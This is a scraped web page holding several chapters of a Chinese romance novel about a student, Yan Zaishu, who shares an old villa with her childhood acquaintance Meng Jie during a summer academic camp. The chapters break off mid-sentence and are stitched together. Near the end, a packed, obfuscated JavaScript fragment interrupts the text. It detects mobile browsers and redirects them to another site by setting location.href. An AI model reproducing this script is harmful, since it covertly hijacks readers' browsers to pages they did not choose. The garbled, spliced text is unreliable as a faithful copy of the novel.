《原子大碰撞》 1. 男友 《原子大碰撞》全本免费阅读 台风天。 环岛路。 老洋房一楼,苔藓绿得像冒油,暴雨打在外边栏杆上,迸出来的水雾挤成团,往窗缝里跑,随着一声按灯响,光线铺开,一只手穿过那浮漾湿湿的水雾,“砰”地关上了窗。 门上的电子锁滴滴地响了两声。 “……我跟你讲,那房子平时都是空置啦,不住人的,你跟如菁玩得好,知道雍家是最讲究的,前两年你妈妈的乐团借过场地,去办一场小型音乐会,后面都没住人。啊有好地方你干嘛不住,比酒店好多了嘛。那个房子离老校区近,一百零八个保安围住你,阿嬷才放心啊。” 晏在舒右手抽纸,左手撂书包,手机夹在耳朵和肩膀之间,嘴里还衔着一张薄薄的卡片,她含混地“嗯”一声,把纸团掂在手上。 电话那边的声音还在继续:“我就说嘛,放假就好好放假,搞什么夏校,搞得都没有时间玩,也没有时间谈恋爱,天天念书天天念书,学的字一辈子都用不完,还能变现吗?阿嬷那个时候,一星期两场联谊会,好玩得不得了!” 晏在舒终于把卡片取下来,放在手边打转,一边打量房子,一边听电话那头壳壳咔咔的声音,说:“你又在摸牌了哦,上个月体检医生说不好久坐的。” “我有站着!来来来,你们也站起来摸牌。” 晏在舒笑她心虚,过了会儿说:“明天我自己去管理处拿行李,正好要录一下进出的指纹,是两个行李箱吗……知道啦,现在雨很大,地上滑,你等天晴再出门。” “嗳,嗳,阿嬷知道!阿嬷不出去。”阿嬷的嗓子特别响,是那种一听,就能想象到一老太太穿着宽松的花绸裤,一手握蒲扇一手捏牌的声音。 晏在舒打眼往楼梯看:“我是住楼梯靠左的那间房间吗?” “睡哪里还不是一样,”阿嬷心不在焉,“左边那间……那间可以啊,反正二楼就两间房嘛,随便睡,你高兴睡走廊都可以。” “那我上去了。” 阿嬷说好,又叮嘱一句,“乖乖不要给陌生人开门啊,在学校里好好玩,考不及格也没要紧,反正也不要阿嬷开家长会。” 晏在舒噗嗤一下笑出来,点头:“知道了,下个月我带你去看妈妈演出。” “好啊好啊……” 挂掉电话,晏在舒就着光线把房子看了一圈。 花地砖,红瓦砾,两层高的独门独户,前庭后院,是标准的海市八十年代老洋房,有年代感,但屋子主人收拾得很干净,因为马上要迎来暂住的客人,还在厨房岛台上放了一束花。 晏在舒找了只花瓶,把花插起来,手机嗡地响一声,是学生群里的通知,她划屏看。 管理员:【今年第一号台风“蓝条”今日于海市佘山沿岸登陆,正在逐渐向北部移动,受“蓝条”外围环流影响,我市有中到大雨,局部暴雨,局部雨量100毫米以上。[遗憾][关心]请各位同学注意出行安全,我们的开营仪式延迟至7月10日进行。】 管理员:【请勿回复。】 晏在舒锁屏。 六月结束期末联合考,七月刚到,第一号台风还没离境,统考成绩出来之后,晏在舒就收到了璠岳营的入营邀请。 璠岳营,取“璠玙粹品,岱岳崇标”的意思,模式和夏校差不多,只在暑期开设,没有面向社会与机构合作,名额只开放给几所合作高校。筛选方式也很苛刻,看分看绩点,要做社会性项目还要考量体育活动,然后综合这些要素,在几所高校中各筛出十名学生进营,开展为期三周的学习交流活动。 有人把它当作向上社交,有人把它当作积累学分的捷径,有人奔着知名教授的推荐信来,是高校之间比较少有的大型合作项目。 窗外暴雨如注,玻璃窗上水痕斑驳,客厅里,暖色光线敷上皮肤,耳边充斥白噪音,细纱帘在徐徐晃动,晏在舒看了会儿,弯腰拍掉书包上的水珠,单肩背起来,走上了楼。 *** 接下来两天,雨势转弱。 离开营还有段时间,晏在舒没什么事做,给自己下了碗面,然后转着笔,坐在窗口写题,鸟鸣渐次响起,窗前树叶莎莎摇,电话震起来,管煜的,说希声馆驻唱乐队那鼓手临时有事儿,让晏在舒过去顶顶场子。 她估摸着时间,答应了。 把题写完,洗澡出门,下车时才下午三点。 希声馆坐落在一片老街区中,是旧厂房改造成的艺术区,外边一圈老小区都拆迁了,建起了摩天大楼,要往希声馆进,就得经过一片银光锃亮的会议中心。 雨停了,日光稀薄,地面还湿着,叶片浸饱了雨水,深一层浅一层覆在地面,脚轧下去,就发出啵滋啵滋的声音。 “滋啦——” 一道稍大的声音盖过来,是会议中心里在调试麦克风,断断续续的。 晏在舒打眼看过去,里边不知道在办什么活动,往希声馆去的路上堵了不少人,学生样儿的有,上班族也有,排成长队,挤挤挨挨首尾相衔的,她想了会儿,转头折进了大楼里。 会议中心充足的冷气一下子灌进脖领,凉丝丝的,沿着领口往下游走。 晏在舒熟门熟路往电梯去。 大堂里架着通透明亮的立体横屏,左右八道电梯同时运行,晏在舒站最右侧,揣着手机,一边等电梯下行,一边漫无目的地看着横屏。 这时,最左侧电梯“叮”地一响。 晏在舒下意识要转头时,被右侧沙发处窸窣的低语声吸引了注意力,依稀听见几句。 “是这个是这个。” “真人比照片帅啊,是混血吗?” “我去,好高。” 然后目光自然移动,看到沙发上的两男两女挂着ID牌,带着笑,快步走上来,路线直逼她身后。 与此同时,她跟前的电梯也到了。 晏在舒后撤两步,左后肩正好撞上了谁的手臂。 紧接着电梯门一开,人潮蜂拥而出,晏在舒瞬间被裹进了不同的体温和香水味中,往外挤的人把晏在舒困在原地,身后那人也只得跟着停下。 两秒,三秒,晏在舒后背温度逐渐升高,但谁也没说话,都在等这股人群散开,晏在舒散着头发,尾梢有点碎,被空调风吹着,一阵阵往后轻扬,悄无声息地,搔到了那人的手臂。 而晏在舒不知道。 他也仍旧没动,保持侧身的姿势,减少跟女生的肢体接触面,在攒动的人潮里,晏在舒看到他的斜影压下来,随着灯光,若有似无地挨着她的影子。 得有一米九往上吧,晏在舒思绪打飘。 五秒过后,人潮终于散开,晏在舒进电梯,那接人的两男两女终于穿过人群,一连串商务化的问好声响起来,她按楼层,没看到人,余光瞥到了他一小截背影。 挺清爽的。 *** 没耽搁时间,晏在舒准时到了希声馆。 从天明到天黑,希声馆也从阒无人声到音响震地,十一点过后,纯是节奏统治的三个小时演出结束。 观众陆续离场。 晏在舒后背黏着汗,她穿的还是私服,一件黑T,牛仔五分裤,高筒袜帆布鞋,头上压顶针织渔夫帽,因为长得高,运动加持下的线条流畅,走路都带风。 2. 对立 《原子大碰撞》全本免费阅读 晏在舒是一道题,孟揭就是题面下的标准答案。 晏家和孟家做了二十多年邻居,两家孩子一个年头出生,一个年尾出生,孟家办起周岁宴的时候,晏家这边刚满月,两家红纸贴了半个月,连墙头攀的花都是并蒂枝。 那时候,住宅区里还没有那么多孩子,两家自然而然地走得更近了,有邻居调侃,不如结个娃娃亲吧。 但晏家孟家父母都只是笑笑,没有回应。年轻人都讲新思想,娃娃亲是旧社会的东西,他们要讲时兴,不肯看后视镜里的旧习。 讲旧习的人,是晏家的老太太。 在六岁以前,晏在舒都以为孟揭是个女孩儿。 尽管大家说他是男孩子,可是晏在舒不信。 在她心里边,男孩子,那得是裴庭那样的,在泥巴地打滚,在沙滩边刨坑,拖着小网兜去捞别人家里的锦鲤,咋咋呼呼,调皮捣蛋。 孟揭呢,孟揭是个混血儿,爸爸是土生土长海市人,妈妈是意法俄混血,小时候性别特征不明显,骨相不突出,白白净净的更像个女孩子。 印象里的孟揭,总是背带裤搭小皮鞋,皮鞋永远锃亮,兜里永远有软乎干净的手帕,任由她编辫子,任由她涂指甲油,甚至晏在舒玩过家家要当骑士的时候,孟揭也二话不说就穿上了公主裙和水晶鞋。 这怎么会是男孩子呢。 孟揭明明是Moana公主嘛。 也就是六岁那一年,晏在舒举着三叉戟,穿着骑士服,嚎着不知名战歌,雄赳赳气昂昂地冲到书房,要去解救被困的Moana。 可小骑士没刹住车,砰地撞倒了一排矮书架,等俩孩子灰头土脸地爬起来后,阿嬷就笑眯眯地倚门站着。 孟揭已经呆了,手足无措地看晏在舒,晏在舒小时候多傻啊,全身上下凑不出一颗心眼儿,还在握着孟揭的手,咻地举起来,大声说:“阿嬷,这是我的Moana!超漂亮的Moana!” 可她的Moana一张脸涨得通红,捞起裙摆就往外冲。 真是屋漏偏逢连夜雨,一出门就撞上了晏在舒养的那只大鹅,大鹅嚣张惯了,逮着孟揭猛叨一口,小孟揭捂着手臂万念俱灰,彻底崩了。听孟妈妈讲,回家后就把自己关在房间里,默默掉了半盆眼泪。 那一天,晏在舒失去了她的Moana公主,阿嬷却看上了这个外孙女婿。 阿嬷年轻时就很厉害。 当时谢家儿女众多,大环境不好,儿女都逃不脱联姻的命运,但阿嬷偏偏看上了一个毫无背景的穷小子。 这在当时是件惊世骇俗的事儿。 诸如恋爱脑、凤凰男与大小姐、精准扶贫,类似的风言风语就没断过,可她打定主意要嫁,家里也没法子。 没想到呢,穷小子可能真是个清高的,没过几年,就和大小姐离了婚,家里心疼姑娘,让她留在了家里,打理打理家族产业。 不论是出嫁的姑娘,还是娶亲的小子,他们身上都有晦涩不清的利益交缠,只有离了婚的大小姐是一心向家里,人到中年之后,大小姐也磨练出来了,该积累的资源、该踩的坑也都差不多了,也就顺理成章地挑了大梁。 阿嬷是个明白人,她看中孟揭,就意味着想让晏在舒走那条强强联合的路子,中间的原因暂且不能明白,但老太太多精啊,她知道跟晏父晏母、孟父孟母都讲不来这事儿,于是一个电话杀到了孟家老爷子那儿。 晏家拿的是笔杆子,孟家握的是印把子。 两边知根知底,门当户对,孩子又玩得好,两尊大佛一合计,觉得真是再合适不过了,但他们做了件聪明事儿,没有把这事按部就班地强压下去,只是把战线拉长,让晏在舒和孟揭在成长过程中,少了很多夹带别样意味的提前社交。 这件事,两边大家长捂了十几年,直到晏在舒十八岁生日才捅出来。 缘由是一件超出社交界限的生日礼物——孟老爷子送过来的。 晏在舒年纪长了,心眼子也跟着长了,当然知道那礼盒是什么意思,再不济电视剧里不都播了么,传家宝是一种象征姻亲的社交符号,送出去,就是盖章定论。 晏在舒还没想好怎么处理这件事,消息就变成一句句带着感叹号的文字,变成一张张匆促拍就的模糊照片,从生日会上的一部部手机里,传开了。 那个学期末,晏在舒走到哪儿,都能听到压低的窃谈声,会瞥到一些探究性的目光,也有好奇直白的,拦住她问:“你跟孟揭,在谈恋爱吗?” 晏在舒耐心说没有。 那人以一种“我什么眼力,你就别骗我了”的表情回应,自以为窥破天机地露出晦涩又理解的笑。 然后流言甚嚣尘上。 变成—— “晏在舒和孟揭啊,我知道,人都已经谈了几年了。” “他俩青梅竹马来着,家里和本人都很低调的,果然好对象不流通于市场。” “哪个孟揭?” “哎呀就是初高中免考,各种国赛联赛摘牌,一路攒学分跳级直博的那个啊,高中还是挂我们学校的学籍,长青榜上还有他名儿呢,四舍五入也是学长……” 晏在舒否认一次,流言就往反方向暴涨一波,所以之后她就不回应了。 没有人在意这件事的真假,大家只是享受臆测和掌控舆论。 而且说实在,Moana公主早就脱下了水晶鞋,和欢乐无知的童年一起留在过去,现在那个冷淡又刻薄的浑球,就是孟揭而已。 说他们不熟吧,他们在六岁前都算两小无猜。 说他们熟悉吧,他们之间隔着十来年的往来断层。 晏在舒对他最生动的印象还是在六岁,孟揭被大鹅叨了一口之后,大哭着跑掉的样子。 也是在那个暑假之后,孟揭就随孟父去了中立地区,在超常儿童教育研究部就学,每年有一半的时间都待在那里。孟家偏爱这样高效培养子女的方式,就像极大限度剔除外界影响的培养皿,只要根据实验对象的各项特征,定时定量投喂知识点,就能让他们变成一个个高智商的精密机械。 反正晏在舒是这样想的。 因为孟揭变化太大了,他一年比一年高,一年比一年帅,一年比一年会气人,一年比一年没人性,履历也一年比一年漂亮。 孟揭是个天才,这事儿在小时候就显现出来了。 晏在舒玩过家家时,孟揭会给她设计一套自动化系统,让整间“晏尔玛”超市实现无人经营。 晏在舒在做幼儿园的数学思维训练时,借用他的学习模型,那会儿小,发现他多了几个叫傅立叶、欧几里得的 3. 同居 《原子大碰撞》全本免费阅读 是了。 孟家和雍家沾亲,晏家和雍家带故,A大旧校区周边除了酒店就是这片老洋房,夏校开营在即,晏在舒图个方便,家里图个放心,让她暂住在这里。 而同理,孟揭也走了这条路子。 可天杀的,孟揭这两年不是在环海某个实验室做他的论文吗,哪来的时间往旧校区来?晏在舒没明白。 一番推断下来,就是晏在舒和孟揭无心插柳,他俩撞了安排,本该有一方换地儿的,但阿嬷顺水推舟把这事揭过不提,直到俩人搬进老洋房。 这不,柳成荫了。 前前后后的信息差都掌握在老太太手里,晏在舒翻动手机,给阿嬷发了条微信。 -晏在舒:[愤怒大鸟.jpg]。 十秒后,手机在被窝里嗡嗡震。 -阿嬷:[祝你一切都好.jpg][眨眼][祝福]。 晏在舒立刻在群里@医生,敲四个字回击:有人熬夜! 那之后,手机就没再亮过了。 晏在舒在床上翻来覆去,把空调降到18度,然后把自己整个蒙进被窝里,管他的,先到先得,没道理撞了安排,反倒要她先搬走。 又不是撞在一间房里,又不是撞在一张床上。 说不准,明天一早起来,孟揭就先搬走了呢。他那个人,挑剔爱清净,哪能忍着和晏在舒同在屋檐下。 *** 晏在舒夜里吃了东西,第二天必定雷打不动地做空腹有氧。 鞋底轧着湿漉漉的绿叶,随着日头渐升,云雾被拭净,山海一概呈现清爽的轮廓,晏在舒从海崖栈道晨跑回来,马不停蹄地拖出瑜伽垫,准备做个二十分钟拉伸。 天是热的,台风过后的暑气回返,海风烈阳把湿气焙干了,热度攀升很快,前庭有一半做了玻璃顶,地上铺花砖,晏在舒出了身汗,脸很红,身子热,发带湿透了,细密的汗珠就凝在鼻头,随着热而均匀的吐息,反着微光。 米白色上衣贴身,勾出一截腰线,特别韧,因为浸了汗的关系,伸展的动作就像一寸寸皮肉在舒展。 她在运动时很专注,专注在自己的呼吸,专注在保持身体平衡,甚至专注在花草香里,所以那阵咖啡香气飘过来的时候,有那么两三秒的时间,她是没反应过来的。 “……” 晏在舒把孟揭给忘了。 她起床时清醒度不到50%,出门吹了风跑了步勉强到80%,拉伸后,舒坦了,清醒值彻底放空,只想瘫在瑜伽垫上,做一团软塌塌的泥巴。 没犹豫,晏在舒站起来,卷好瑜伽垫,边摘手表,边推门往餐厅走。 孟揭就站在岛台边,正晃着一小杯意式,短促地抬头后,说声早,然后把手边的小杯子推过去给她。 “早。”晏在舒从柜子里取只杯子,接冰,接水,倒咖啡液。 孟揭一言不发看着,而后手指蹭了下额头,没什么办法似的,错开了目光。 晏在舒没察觉,她转身想从冰箱里拿鸡蛋,就看见盘子里多出两颗水煮蛋,垃圾桶里还有点碎蛋壳。 水煮蛋已经放凉了,而咖啡液是滚烫的,她顿了一下,又往盘里放两片面包,搁岛台上,说:“谢谢啊。” “顺手。” 孟揭应该有事忙,手机一刻不停地响,但开口时,还是礼节性地扣了手机,看着她回话。 晏在舒没说什么,开始安静敲蛋吃饭。 诡异。 这种和孟揭单独待在一个屋檐下,心平气和,客气有礼,甚至还有点捎带手的互帮互助。 真的诡异。 空调风吹着后背薄薄一层汗,那种凉贴着皮肉,像在顺着毛孔,一点点薅走皮肤表层的温度,毛骨悚然。 冰块在杯壁碰撞出声音,晏在舒说:“我叫了家政阿姨,原本是每天下午3-5点打扫,这个时间点你可以吗?” “行。” 所以是确定要住下来了。 达摩克利斯之剑掉下来,晏在舒反倒松口气,不动声色地在心里边飞快划定他们的共用空间,基本上就是除卧室外的所有地方,于是说:“阿姨不进房间,你要不放心,也可以把房门锁上。” “不用。”孟揭按键速度飞快,挑拣着消息回了,然后锁屏,看着她。 晏在舒垂眼喝咖啡,冰凉的黑咖滑进胃里,她想起件事:“早上我有运动习惯,如果打扰到你,那我说声抱歉。” “哪方面的打扰?” “声音,”晏在舒觉得他又开始了,又开始冒坏水了,“视觉。” “哦,”那孟揭确实看到了,大大方方,坦坦荡荡,既不存在偷窥,也没有什么别样心思,他把空杯放洗碗机里,捏了颗脆桃,抛两下,“一大早在那趴着做什么,排地/雷吗?” “……”晏在舒咬牙,“嗯!” “排着了?” “迟早有一天炸了他!” “拿什么炸?”孟揭听了也笑。 他是不会把瑜伽体式作下流联想的,但就这样明晃晃笑着,把那点针锋相对的攻击感变成小学鸡式的拌嘴,让晏在舒一股气涌到心口,随后深呼吸,冷静下来了,笑也不笑地回过去:“问那么清干什么,怕啊?” 不欢而散。 孟揭看着她上楼梯,落肩的发捆成丸子头,因为不长,碎发会不合时宜地冒出来,贴脖颈上,落在额前,有点乱,有点随性,半梯的小窗漏进几道阳光,阳光似乎也偏爱她,悉数跳在她周身,看起来像…… 一根金灿灿的毛掸子。 他看了眼,就收回目光,抄起车钥匙往外走。 *** 晏在舒洗澡时听到了车子驶离的声音,她揭开点帘子,看到院门正在缓慢合拢,孟揭出去了。 刚刚那片刻的和平都是假的,是他们对彼此的一次试探,目的也很简单,探探底,看看他们在这短暂的三周里,有没有和平共处的可能。 花洒上的细水柱打在肩身,一蓬蓬水雾溅开,把晏在舒的身影涂得氤氲。 算了。 又不是没跟室友相处过,晏在舒打小参加的活动杂,有时候跟晏妈妈一道演出,得跟团里边的小朋友同住,再大点,一个人天南海北地去潜水滑雪,也遇过余房不足,需要跟形形色色的人合拼,娇纵的小孩,龟毛的大人……总比孟揭好相处吧。 *** 晏在舒这么把早上的事跟雍如菁讲了,雍如菁在电话那端也惊了一下:“你是说,孟揭跟你在老房子里待满了十二小时,房顶没有塌,沙发没有拆,你俩和睦共处,他甚至给你做了杯咖啡?” 这会儿晌午刚过,天空是一片细腻釉质的蓝海,铝合金大鱼呼啸而去,留下一道道白色通行证。 晏在舒挎了一只包,慢悠悠走在林荫小道上,周围形形色色的学生都在往礼堂走,偶尔能见到两张熟面孔,她抬手,无声打个招呼,接着对电话那边的人说。 “可怕吧?” “可怕。” “你说他在想什么呢。” “无法理解,我想事情时动的是脑子,他想事情时,应该有电流在主板里滋滋响。” 晏在舒笑起来。 “对了,”雍如菁那边的声音有点嘈杂,几秒后,伴随一道关门声,重新安静下来,她说,“我上周末见到晏叔叔了。” 晏在舒停下脚步:“在国内?” “西北,应该是到项目分部开会,晏叔都蓄起胡子了,像卓别林,真可爱,走出来就是一帧默剧……嗯,他还叮嘱我,不可以在你跟前把他描述得过于帅气,他希望自己是个富于威严形象正派的爸爸。” 那边声音突然蒙了层膜,变得闷且模糊,像是雍如菁用手捂住了话筒,断断续续在跟谁说话,“是晏晏,我知道了……很快下去。” 等到声音恢复正常,雍如菁很轻地松一口气。 晏在舒正好走到礼堂外:“你叔管这么严的?” “嗯,又不让上学了,说记者在学校门口堵,”雍如菁软声应,有点苦恼,又有点无可奈何,“等过了今年,我想回海市。” 晏在舒说:“你随时告诉我,机票我订,行程我安排。” “嗯,”雍如菁低头看了眼手表,说,“下周末我再给你打电话,你能给我讲讲夏校的事情吗?” “不但讲给你,”晏在舒跟上前边的队伍,目光环一圈大礼堂,往A大本校的学生堆那边走,“还给你录像。” “好……”雍如菁声音闷闷的,抽一记鼻子,“你到了是不是?” “到了。” “那我先挂了哦。” 晏在舒找到自己的座位,坐下来,捋一下耳发:“拜拜。” 电话那端刚刚静下来,麦克风呲啦一响,坐席上方的灯应声而暗,联合校区理事会会长站在台上,拍了拍麦克风,“诸位下午好。” 伴随一句简短亲和的问候,开营仪式拉开序幕。 *** 这次璠岳营是为了响应国际学联对于全国高校学生素质化教育的号召,由A大牵头,跨国跨区域联动,在学术基础上展开多元化碰撞。 晏在舒作为A大 4. 试探 《原子大碰撞》全本免费阅读 晏在舒踩着点儿进教室。 7点59分,大教室里几乎坐满人,还有稀稀拉拉几个学生站在门口聊天,唐甘给她留了座儿,正在靠窗前排的位置朝她招手,晏在舒刚一落座,老师后脚也到了。 教室门关上,嗡嗡的闲聊声渐次消失,屏幕亮起来,第一节课开始了。 之后两天,晏在舒一头埋进夏校,早晨六点起,晚间九点归,跟孟揭活得好像隔着时差,明明在同个屋檐下,愣是连面也没有碰上。 挺好。 回想起那天晚上的对话内容,晏在舒并不想跟孟揭见上面。 跟开营仪式的气氛截然不同,课程一开起来,就像在所有人身后轰了一脚油门,紧凑的节奏接踵而来。 头两天是摸底,采用大班上课的形式。 来自八所高校的学生齐聚一堂,老师的路子简单直接,不会顾及是否存在专业偏差,把学生打散重组,抛出来的课题千奇百怪,考验的就是学生的临场应变、即时学习、涉猎面的深度和广度。 晏在舒轮了三个组,当过一次组长,第三天,分组考核过后,已经是下午4点了。 老校区里宿舍楼拆了,建成科研中心,但食堂还在,晏在舒离开教室的时候被教授留下来讲了两句话,到食堂时还没到晚餐时间,橱窗里菜色寥寥。 她打算到小区健身房里练两组,于是挑了一圈,点了粗粮馍馍和鸡蛋饼。 这时候将近5点,食堂里人少,除了参加夏校的学生,就是本校的科研人员,晏在舒刷了学生卡,从阿姨手里接袋子,肩头就被突然一拍。 “同学!” 晏在舒扭头,看到张放大的脸,笑嘻嘻的,露出一排闪亮的白牙。 “程度,”晏在舒记得他,开营仪式上的另一个学生代表,“你好。” “你好你好。” 程度操着地道的北方口音,肘下夹着篮球,夸嚓一下坐在旁边的位子上,看起来像是匆促跑过来的,开门见山道:“考核过后要正式定组,我想邀请你进我的队伍。” “结果还没出来,”晏在舒撕着馍馍,“现在讲组队是不是早了点?” “我有把握,前五没跑了,”程度笑笑反问,“你没盘算吗?” “还真没有。” “那正好,我们组里已经确定意向的有数学、机械、计算机和国际关系学的伙伴了。” “好事,各科学神都凑齐了。” “那不能够,你进来才真算齐。” “我没有专精的技能,未必对你们有用。” 这话不是自谦,A大在大一期间开设的都是通识课,其中不乏有早早找准方向,辅修这门学科的学生,就好比把通识课程比作打地基,在基础学分修够的前提下,有的人还有精力去往某个专业垒上几块厚砖,这样,在大二定专业时自然会比别人看得更远。 能进璠岳营的学生,都是垒了厚砖的。 晏在舒不一样,她选辅修学科时,没有往某个专业单独延展,各个学科选得特别散,大伙儿垒厚砖,她还在打地基,扎扎实实浇了三层水泥,所以说没有专精的技能。 “六边形战士嘛,”程度站起来,补一句,“而且,我查过你大一的选修课程,当中有天体物理和弦论,我们就缺这个。” 晏在舒把馍馍撕成小块装袋里,慢慢拧着瓶盖,喝了口水,没吭声。 “你考虑一下,既然徐教授说了,允许学生预组队,之后再弹性操作,那我们先合组也符合规则。” 程度懂得见好就收的道理,他翻出手机,笑得如春风和煦:“据我所知,轮过组长的都在私下拉拢队员,夏校挺好玩,竞争也激烈,谁都想拔得头筹,强强联合就是条更简单的路,是吧?” 晏在舒把水杯挂在指头尖儿,还一个笑:“有道理。” “那?”程度眼亮起来。 “但我这人,好新鲜,”晏在舒说,“喜欢走窄道。” “明白了,”程度神色不变,“那还是朋友咯。” 晏在舒说当然。 这时,一个姑娘站食堂玻璃门外,朝程度招手,程度就着机会跟晏在舒告别。 直到他俩双双消失在玻璃门外,晏在舒才坐下来,把撕好的鸡蛋饼和馍馍一块块丢嘴里,而她刚准备出食堂,手机响了。 “晏晏!” “啊。” “在哪儿呢?” “食堂。” “几楼啊……等等!站那别动,我看见你了。” 听筒里的声音和门外的混响,晏在舒抬眼,唐甘风风火火朝食堂里进。 隔着二十米都能感觉到她身上那股火气,不等晏在舒开口,她单刀直入地问一句:“程度是不是找你了?” 晏在舒说:“刚走。” “小兔崽子,在姑奶奶眼皮子底下偷家,”唐甘勾着晏在舒手臂往外走,“反了天了!” “偷着了吗?”晏在舒逗她一句。 “偷着了吗!”唐甘声音立刻拔高八度,直勾勾地盯住她。 晏在舒悠哉地说:“想美事儿呢。” “少吓我,最近心肝儿脆,不经吓,”唐甘抚着胸口,“我跟你说,这样操作的不止一个两个,倒戈的也不止一个两个,那小子多能来事儿,轮过组长的他都邀了个遍。这是想干嘛,想组个大神队出来,做断层第一啊。” “放心,拒了 5. 金币 《原子大碰撞》全本免费阅读 车影刚掠过去,在小道尽头打弯,李尚小跑着跟上孟揭,顺着他目光,正好看到晏在舒有说有笑的侧脸,眼睛亮了一下。 “嚯,真漂亮,认识的?” 孟揭嗯一声,掐掉烟,从副驾驶捞出篮球和装着随身衣物的袋子:“预算可以先从组里划,SOP先走着,徐教授那边我去沟通。” “好,”李尚接道,“小路想跟人事再申请一个助理研究员。” 孟揭问:“计算部分他做不了吗?” “有困难……”李尚犹豫道,“也是最近手头上的活儿多,大伙儿熬夜熬得厉害,小路有点扛不住。” 说是扛不住,其实还是想在项目进行到关键点时提点要求,尽管有胁迫的意思,但小路要的确实不多,他就眼馋下半年研究部空出来的那个编制。 这种操作在研究院里算司空见惯。孟揭如果是个上道的,就该顺坡下驴,关心关心项目组成员,问问最近工作上是不是有困难,需不需要帮助,再抛个话茬子,告诉组员,有什么诉求只管提出来。 到时小路再抹两把泪,哭两句惨,功劳苦劳功勋章一并摆出来,扯两句八十老母和三岁稚儿,再把渴望进步的心思漏一丝半丝的,孟揭再一点头,给院里申个特批,这事儿也就成了。小路有什么错,他只是想再进步一点而已。 所以,扛不住是假的,想申请助理也是假的,也就李尚傻了吧唧,不但信了,还真来递话了,他眨巴眼,看着孟揭,到现在没反应过来自个让人当了枪使。 两人走出停车场,夕阳像晚潮一样漫过来,在孟揭的鼻梁镀一层金,他点了头:“可以。” 哈?李尚喜出望外。 讲起来,两人是师出同门,但没有正面接触过。在暑假之前,孟揭这俩字,只会以固定频率出现在学术报刊,还有某些科研项目的报备名单里,这次调回海市连任命书也没有,李尚也好奇,但怕冒犯。 他只当这种空降大神都有点怪癖,就没想过孟揭这样好说话。 真是实在人呐! 李尚一拍掌,兴高采烈走了。 五分钟不到,工作群里弹出一条新消息。 -孟揭:【@路文锡,做学问是屈才,做人际关系更适合你,好好休息,未来可期。】 底下附一份给国际学联的推荐书。 群里鸦雀无声,谁也不敢接这话。 谁不知道国际学联乱,是盘根错节的利益性组织,是论资排辈的人情场,别管什么学术大牛,进去也得先拜山头。 消息一发出来,实验项目组的架构悄无声息地变动,人事部已经见怪不怪,聊天群里移出一个小路,转头就可以填进一个翘首以盼多时的小周。 项目组从来不缺人用,孟揭身边更不缺人用。 李尚还没走出这段林荫路,手机上的一枚枚字敲打天灵感,这会儿才意识到是被小路摆了一道,现在知道后怕了,怕被连坐,怕被秋后算账,干脆找了个阴凉长椅坐下来,足等了十分钟,没等到关于他的安排,这才知道逃过一场。 心有余悸。 他摸着拔凉拔凉的后脖颈,随后掏出手机,给孟揭改了备注。 “心慈手软,但大魔王”。 *** 暑气正盛,热浪滚了一个下午,在傍晚时盘成火龙,张口一吐,烧艳了半片西天。 车子刚开出校门,唐甘顺道先拐去了环岛路一家老字号饼店,说是定了两盒绿豆糕,特意要了少糖少油的,要捎去给阿嬷。 晏在舒这才想起要开导航,她说不用。 唐甘单手把着方向盘,在等红绿灯的当口念叨:“怎么不带?阿嬷爱吃,顺道就带了,我去排队没事儿。” “不顺道,”晏在舒连蓝牙,切导航,“我最近住雍家那老洋房。” “我说呢,你这两天怎么不开车,”唐甘喜欢冲浪和帆船,联考后就跑海岛待了一周,夏校开营那天都没赶上,她也不是爱嘘寒问暖的性格,这会儿才想起来,噢一声,“环岛路那房子是吧?” 晏在舒嗯一声,划手机,回家政阿姨的消息,叮嘱她不用打扫孟揭的房间。 唐甘戳了下屏幕,抽空看距离:“这段路掉不了头,得往市区走,一起吃个晚饭再送你回。” 晏在舒说行,那去吃肉燥面。 车上了环岛路,橘子云潮走过半座城市,铺满整片天空。 唐甘想起件事儿:“听我爸讲过,雍家那房子挺久不住人了,上回他捏了几个破碗破杯子,想借那房子办场个人展,给自己抬点逼格,结果呢雍家小叔叔一听,二话没说把我爸那破杯子破碗都买了,转头就上了自家的拍卖会,了不得,卖了几百个。” 晏在舒笑起来:“我去看了,唐叔手艺人,做得碗像碗,杯子像杯子的。” “唉你别给他抬咖位,那碗是马用的,杯是牛饮的,雍小叔做的人情局,回头还得我来还,”唐甘翻个白眼,话题扭回来,“房子好住吗?” “清净。” 晏在舒有想过把“天降室友”的事讲给唐甘,但小唐总打着方向盘,在环岛路上飞驰,像操控一匹随时会脱缰的野马。 就,算了。 晏在舒有两个打小玩到大的女性朋友,一个是雍如菁,一个是唐甘,前者是柔软细腻的海中月,后者是嫉恶如仇的迅猛龙。 唐甘跟晏在舒是小学同学,家里边做半导体的,这几十年发家快,势头猛。 跟晏家不同,唐老爹属于行业新贵,年轻时候玩儿命创业,年年都是纳税大户,为社会提供就业,为GDP添砖加瓦,上新闻,进政/协,等孩子大了,唐老爹后知后觉开始操心家业传承问题了,于是花了大心思,把刚10岁的唐甘塞进了嘉懿小学。 小霸王刚转校,第一件事就是跟晏在舒干架。 晏在舒小时候也虎啊,一脑门把人磕懵了,懵完唐甘就扯嗓子嚎啕大哭,哭脏了衣裳,还是晏在舒给领回家里去,那个桂花蒸的天儿,云团慢悠悠地飘,俩人分着喝了一碗绿豆汤,对视两秒,对着关公结拜了。 也没问关公管不管结拜,俩人像模像样投了个圣杯,问过吉祥就完事。 所以,唐甘对晏在舒的身边事了解得多,这其中包括孟揭,也包括孟晏两家在长辈层面上的意愿与干涉。 要是现在讲给唐甘……窗外的车流飞速倒退,划成一道道虚影,远处海面碎着金鳞,正在承接落日的重量,晏在舒后背贴着座椅。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12661017|133648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些运算上的错误,李尚没在这会儿打扰他,也没好意思在屋里乱走动,磨磨蹭蹭地跟到了岛台。 岛台内侧,一叠稿纸右边,放着一挺好看的小碟子,上边叠放了一块挺好看的三明治,花花绿绿什么色儿都齐全,李尚拘谨地站着,眼睛骨碌碌四处转,在那三明治边上又看见了一块留言板,上边写着…… “昨晚谢谢你。” 天老爷。 李尚一声不吭,可眼珠子都要从镜框里掉出来了。 